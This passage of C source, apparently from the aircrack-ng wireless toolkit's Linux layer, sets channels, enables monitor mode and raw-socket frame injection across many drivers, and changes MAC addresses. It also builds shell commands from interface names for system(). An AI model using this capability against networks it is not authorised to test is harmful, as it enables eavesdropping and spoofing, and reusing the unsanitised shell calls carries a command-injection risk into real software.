(dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", "1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.freq.m = (double) channel; wrq.u.freq.e = (double) 0; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->channel = channel; return( 0 ); } #endif static int linux_set_freq(struct wif *wi, int freq) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: case DT_ORINOCO: case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%dM", freq ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "freq", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->freq = freq; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.freq.m = (double) freq*100000; wrq.u.freq.e = (double) 1; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->freq = freq; return( 0 ); } static int opensysfs(struct priv_linux *dev, char *iface, int fd) { int fd2; char buf[256]; /* ipw2200 injection */ snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface); fd2 = open(buf, O_WRONLY); /* bcm43xx injection */ if (fd2 == -1) { snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface); fd2 = open(buf, O_WRONLY); } if (fd2 == -1) return -1; dup2(fd2, fd); close(fd2); dev->sysfs_inject=1; return 0; } int linux_get_monitor(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; /* find the interface index */ if(dev->drivertype == DT_IPW2200) return( 0 ); memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); // if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) // { // printf("Interface %s: \n", iface); // perror( "ioctl(SIOCGIFINDEX) failed" ); // return( 1 ); // } /* lookup the hardware type */ if( ioctl( wi_fd(wi), SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( wi_fd(wi), SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)) ) { return( 1 ); } return( 0 ); } int set_monitor( struct priv_linux *dev, char *iface, int fd ) { int pid, status, unused; struct iwreq wrq; if( strcmp(iface,"prism0") == 0 ) { dev->wl = wiToolsPath("wl"); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wl, "wl", "monitor", "1", NULL); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); } else if (strncmp(iface, "rtap", 4) == 0 ) { return 0; } else { switch(dev->drivertype) { case DT_WLANNG: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", iface, "lnxreq_wlansniff", "enable=true", "prismheader=true", "wlanheader=false", "stripfcs=true", "keepwepflags=true", "6", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); break; case DT_ORINOCO: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "1", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; case DT_ACX: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "2", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.mode = IW_MODE_MONITOR; if( ioctl( fd, SIOCSIWMODE, &wrq ) < 0 ) { perror( "ioctl(SIOCSIWMODE) failed" ); return( 1 ); } if(dev->drivertype == DT_AT76USB) { sleep(3); } } /* couple of iwprivs to enable the prism header */ if( ! fork() ) /* hostap */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "monitor_type", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* r8180 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* prism54 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); return( 0 ); } static int openraw(struct priv_linux *dev, char *iface, int fd, int *arptype, unsigned char *mac) { struct ifreq ifr; struct ifreq ifr2; struct iwreq wrq; struct iwreq wrq2; struct packet_mreq mr; struct sockaddr_ll sll; struct sockaddr_ll sll2; /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } memset( &sll, 0, sizeof( sll ) ); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; switch(dev->drivertype) { case DT_IPW2200: /* find the interface index */ memset( &ifr2, 0, sizeof( ifr ) ); strncpy( ifr2.ifr_name, dev->main_if, sizeof( ifr2.ifr_name ) - 1 ); if( ioctl( dev->fd_main, SIOCGIFINDEX, &ifr2 ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* set iw mode to managed on main interface */ memset( &wrq2, 0, sizeof( struct iwreq ) ); strncpy( wrq2.ifr_name, dev->main_if, IFNAMSIZ ); wrq2.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( dev->fd_main, SIOCGIWMODE, &wrq2 ) < 0 ) { perror("SIOCGIWMODE"); return 1; } wrq2.u.mode = IW_MODE_INFRA; if( ioctl( dev->fd_main, SIOCSIWMODE, &wrq2 ) < 0 ) { perror("SIOCSIWMODE"); return 1; } /* bind the raw socket to the interface */ memset( &sll2, 0, sizeof( sll2 ) ); sll2.sll_family = AF_PACKET; sll2.sll_ifindex = ifr2.ifr_ifindex; sll2.sll_protocol = htons( ETH_P_ALL ); if( bind( dev->fd_main, (struct sockaddr *) &sll2, sizeof( sll2 ) ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } opensysfs(dev, dev->main_if, dev->fd_in); break; case DT_BCM43XX: opensysfs(dev, iface, dev->fd_in); break; case DT_WLANNG: sll.sll_protocol = htons( ETH_P_80211_RAW ); break; default: sll.sll_protocol = htons( ETH_P_ALL ); break; } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( fd, SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR) ) { if (set_monitor( dev, iface, fd ) && dev->drivertype != DT_ORINOCO ) { ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } if (set_monitor( dev, iface, fd ) ) { printf("Error setting monitor mode on %s\n",iface); return( 1 ); } } } /* Is interface st to up, broadcast & running ? */ if((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags) { /* Bring interface up*/ ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } } /* bind the raw socket to the interface */ if( bind( fd, (struct sockaddr *) &sll, sizeof( sll ) ) < 0 ) { printf("Interface %s: \n", iface); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); *arptype = ifr.ifr_hwaddr.sa_family; if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL ) { if( ifr.ifr_hwaddr.sa_family == 1 ) fprintf( stderr, "\nARP linktype is set to 1 (Ethernet) " ); else fprintf( stderr, "\nUnsupported hardware link type %4d ", ifr.ifr_hwaddr.sa_family ); fprintf( stderr, "- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_" "FULL or ARPHRD_IEEE80211_PRISM instead. Make\n" "sure RFMON is enabled: run 'airmon-ng start %s" " <#>'\nSysfs injection support was not found " "either.\n\n", iface ); return( 1 ); } /* enable promiscuous mode */ memset( &mr, 0, sizeof( mr ) ); mr.mr_ifindex = sll.sll_ifindex; mr.mr_type = PACKET_MR_PROMISC; if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof( mr ) ) < 0 ) { perror( "setsockopt(PACKET_MR_PROMISC) failed" ); return( 1 ); } return( 0 ); } /* * Open the interface and set mode monitor * Return 1 on failure and 0 on success */ static int do_linux_open(struct wif *wi, char *iface) { int kver, unused; struct utsname checklinuxversion; struct priv_linux *dev = wi_priv(wi); char *iwpriv = NULL; char strbuf[512]; FILE *f; char athXraw[] = "athXraw"; pid_t pid; int n; DIR *net_ifaces; struct dirent *this_iface; FILE *acpi; char r_file[128], buf[128]; struct ifreq ifr; char * unused_str; int iface_malloced = 0; dev->inject_wlanng = 1; dev->rate = 2; /* default to 1Mbps if nothing is set */ /* open raw socks */ if( ( dev->fd_in = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } if( ( dev->fd_main = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } /* Check iwpriv existence */ iwpriv = wiToolsPath("iwpriv"); #ifndef CONFIG_LIBNL dev->iwpriv = iwpriv; dev->iwconfig = wiToolsPath("iwconfig"); dev->ifconfig = wiToolsPath("ifconfig"); if (! iwpriv ) { fprintf(stderr, "Can't find wireless tools, exiting.\n"); goto close_in; } #endif /* Exit if ndiswrapper : check iwpriv ndis_reset */ if ( is_ndiswrapper(iface, iwpriv ) ) { fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n"); goto close_in; } if( ( dev->fd_out = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); goto close_in; } /* figure out device type */ /* mac80211 radiotap injection * detected based on interface called mon... * since mac80211 allows multiple virtual interfaces * * note though that the virtual interfaces are ultimately using a * single physical radio: that means for example they must all * operate on the same channel */ /* mac80211 stack detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT; /* IPW2200 detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_IPW2200; /* BCM43XX detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX; /* check if wlan-ng or hostap or r8180 */ if( strlen(iface) == 5 && memcmp(iface, "wlan", 4 ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "wlancfg show %s 2>/dev/null | " "grep p2CnfWEPFlags >/dev/null", iface); if( system( strbuf ) == 0 ) { if (uname( & checklinuxversion ) >= 0) { /* uname succeeded */ if (strncmp(checklinuxversion.release, "2.6.", 4) == 0 && strncasecmp(checklinuxversion.sysname, "linux", 5) == 0) { /* Linux kernel 2.6 */ kver = atoi(checklinuxversion.release + 4); if (kver > 11) { /* That's a kernel > 2.6.11, cannot inject */ dev->inject_wlanng = 0; } } } dev->drivertype = DT_WLANNG; dev->wlanctlng = wiToolsPath("wlanctl-ng"); } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep antsel_rx >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_HOSTAP; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep GetAcx111Info >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_ACX; } /* enable injection on ralink */ if( strcmp( iface, "ra0" ) == 0 || strcmp( iface, "ra1" ) == 0 || strcmp( iface, "rausb0" ) == 0 || strcmp( iface, "rausb1" ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); } /* check if newer athXraw interface available */ if( ( strlen( iface ) >= 4 || strlen( iface ) <= 6 ) && memcmp( iface, "ath", 3 ) == 0 ) { dev->drivertype = DT_MADWIFI; memset( strbuf, 0, sizeof( strbuf ) ); snprintf(strbuf, sizeof( strbuf ) -1, "/proc/sys/net/%s/%%parent", iface); f = fopen(strbuf, "r"); if (f != NULL) { // It is madwifi-ng dev->drivertype=DT_MADWIFING; fclose( f ); /* should we force prism2 header? */ sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface); f = fopen( (char *) strbuf,"w"); if (f != NULL) { fprintf(f, "802\n"); fclose(f); } /* Force prism2 header on madwifi-ng */ } else { // Madwifi-old memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null", iface ); if( system( strbuf ) == 0 ) { athXraw[3] = iface[3]; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "ifconfig %s up", athXraw ); unused = system( strbuf ); #if 0 /* some people reported problems when prismheader is enabled */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); #endif iface = athXraw; } } } /* test if orinoco */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_port3", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ORINOCO; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep get_scan_times >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_AT76USB; } /* test if zd1211rw */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_regdomain", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ZD1211RW; } if( dev->drivertype == DT_IPW2200 ) { snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", iface); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); buf[127]='\x00'; //rtap iface doesn't exist if(strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) goto close_out; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; unused_str = fgets(buf, 128, acpi); } fclose(acpi); //use name in buf as new iface and set original iface as main iface dev->main_if = (char*) malloc(strlen(iface)+1); memset(dev->main_if, 0, strlen(iface)+1); strncpy(dev->main_if, iface, strlen(iface)); iface=(char*)malloc(strlen(buf)+1); iface_malloced = 1; memset(iface, 0, strlen(buf)+1); strncpy(iface, buf, strlen(buf)); } /* test if rtap interface and try to find real interface */ if( memcmp( iface, "rtap", 4) == 0 && dev->main_if == NULL) { memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); n = 0; if( ioctl( dev->fd_out, SIOCGIFINDEX, &ifr ) < 0 ) { //create rtap interface n = 1; } net_ifaces = opendir("/sys/class/net"); if ( net_ifaces != NULL ) { while (net_ifaces != NULL && ((this_iface = readdir(net_ifaces)) != NULL)) { if (this_iface->d_name[0] == '.') continue; snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", this_iface->d_name); if ((acpi = fopen(r_file, "r")) == NULL) continue; if (acpi != NULL) { dev->drivertype = DT_IPW2200; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); if(n==0) //interface exists { if (strncmp(buf, iface, 5) == 0) { fclose(acpi); if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); break; } } else //need to create interface { if (strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) continue; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) continue; unused_str = fgets(buf, 128, acpi); if (strncmp(buf, iface, 5) == 0) { if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); fclose(acpi); break; } } } fclose(acpi); } } if (net_ifaces != NULL) closedir(net_ifaces); } } if(0) fprintf(stderr, "Interface %s -> driver: %s\n", iface, szaDriverTypes[dev->drivertype]); if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0) { goto close_out; } /* don't use the same file descriptor for in and out on bcm43xx, as you read from the interface, but write into a file in /sys/... */ if(!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200)) dev->fd_in = dev->fd_out; else { /* if bcm43xx or ipw2200, swap both fds */ n=dev->fd_out; dev->fd_out=dev->fd_in; dev->fd_in=n; } dev->arptype_in = dev->arptype_out; if(iface_malloced) free(iface); return 0; close_out: close(dev->fd_out); close_in: close(dev->fd_in); if(iface_malloced) free(iface); if(iwpriv) free(iwpriv); return 1; } static void do_free(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if(pl->wlanctlng) free(pl->wlanctlng); if(pl->iwpriv) free(pl->iwpriv); if(pl->iwconfig) free(pl->iwconfig); if(pl->ifconfig) free(pl->ifconfig); if(pl->wl) free(pl->wl); if(pl->main_if) free(pl->main_if); free(pl); free(wi); } #ifndef CONFIG_LIBNL static void linux_close(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); if (pl->fd_main) close(pl->fd_main); do_free(wi); } #else static void linux_close_nl80211(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); nl80211_cleanup(&state); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); do_free(wi); } #endif static int linux_fd(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); return pl->fd_in; } static int linux_get_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd; fd = wi_fd(wi); /* find the interface index */ /* ipw2200 got a file opened as fd */ if(pl->drivertype == DT_IPW2200) { memcpy(mac, pl->pl_mac, 6); return 0; } memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( pl->pl_mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); /* XXX */ memcpy(mac, pl->pl_mac, 6); return 0; } static int linux_set_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd, ret; fd = wi_fd(wi); /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } // if down ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; memcpy(ifr.ifr_hwaddr.sa_data, mac, 6); memcpy(pl->pl_mac, mac, 6); //set mac ret = ioctl(fd, SIOCSIFHWADDR, &ifr); //if up ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } return ret; } static struct wif *linux_open(char *iface) { struct wif *wi; struct priv_linux *pl; wi = wi_alloc(sizeof(*pl)); if (!wi) return NULL; wi->wi_read = linux_read; wi->wi_write = linux_write; #ifdef CONFIG_LIBNL linux_nl80211_init(&state); wi->wi_set_channel = linux_set_channel_nl80211; #else wi->wi_set_channel = linux_set_channel; #endif wi->wi_get_channel = linux_get_channel; wi->wi_set_freq = linux_set_freq; wi->wi_get_freq = linux_get_freq; #ifdef CONFIG_LIBNL wi->wi_close = linux_close_nl80211; #else wi->wi_close = linux_close; #endif wi->wi_fd = linux_fd; wi->wi_get_mac = linux_get_mac; wi->wi_set_mac = linux_set_mac; wi->wi_get_monitor = linux_get_monitor; wi->wi_get_rate = linux_get_rate; wi->wi_set_rate = linux_set_rate; wi->wi_get_mtu = linux_get_mtu; wi->wi_set_mtu = linux_set_mtu; if (do_linux_open(wi, iface)) { do_free(wi); return NULL; } return wi; } struct wif *wi_open_osdep(char *iface) { return linux_open(iface); } int get_battery_state(void) { char buf[128]; int batteryTime = 0; FILE *apm; int flag; char units[32]; int ret; static int linux_apm = 1; static int linux_acpi = 1; if (linux_apm == 1) { char *battery_data = NULL; if ((apm = fopen("/proc/apm", "r")) != NULL ) { battery_data = fgets(buf, 128, apm); fclose(apm); } if ( battery_data != NULL ) { int charging, ac; ret = sscanf(battery_data, "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n", &ac, &charging, &flag, &batteryTime, units); if(!ret) return 0; if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1 && batteryTime != -1) { if (!strncmp(units, "min", 32)) batteryTime *= 60; } else return 0; linux_acpi = 0; return batteryTime; } linux_apm = 0; } if (linux_acpi && !linux_apm) { DIR *batteries, *ac_adapters; struct dirent *this_battery, *this_adapter; FILE *acpi, *info; char battery_state[128]; char battery_info[128]; int rate = 1, remain = 0, current = 0; static int total_remain = 0, total_cap = 0; int batno = 0; static int info_timer = 0; int batt_full_capacity[3]; linux_apm=0; linux_acpi=1; ac_adapters = opendir("/proc/acpi/ac_adapter"); if ( ac_adapters == NULL ) return 0; while (ac_adapters != NULL && ((this_adapter = readdir(ac_adapters)) != NULL)) { if (this_adapter->d_name[0] == '.') continue; /* safe overloaded use of battery_state path var */ snprintf(battery_state, sizeof(battery_state), "/proc/acpi/ac_adapter/%s/state", this_adapter->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; if (acpi != NULL) { while(fgets(buf, 128, acpi)) { if (strstr(buf, "on-line") != NULL) { fclose(acpi); if (ac_adapters != NULL) closedir(ac_adapters); return 0; } } fclose(acpi); } } if (ac_adapters != NULL) closedir(ac_adapters); batteries = opendir("/proc/acpi/battery"); if (batteries == NULL) { closedir(batteries); return 0; } while (batteries != NULL && ((this_battery = readdir(batteries)) != NULL)) { if (this_battery->d_name[0] == '.') continue; snprintf(battery_info, sizeof(battery_info), "/proc/acpi/battery/%s/info", this_battery->d_name); info = fopen(battery_info, "r"); batt_full_capacity[batno] = 0; if ( info != NULL ) { while (fgets(buf, sizeof(buf), info) != NULL) if (sscanf(buf, "last full capacity: %d mWh", &batt_full_capacity[batno]) == 1) continue; fclose(info); } snprintf(battery_state, sizeof(battery_state), "/proc/acpi/battery/%s/state", this_battery->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; while (fgets(buf, 128, acpi)) { if (strncmp(buf, "present:", 8 ) == 0) { /* No information for this battery */ if (strstr(buf, "no" )) continue; } else if (strncmp(buf, "charging state:", 15) == 0) { /* the space makes it different than discharging */ if (strstr(buf, " charging" )) { closedir(batteries); fclose( acpi ); return 0; } } else if (strncmp(buf, "present rate:", 13) == 0) rate = atoi(buf + 25); else if (strncmp(buf, "remaining capacity:", 19) == 0) { remain = atoi(buf + 25); total_remain += 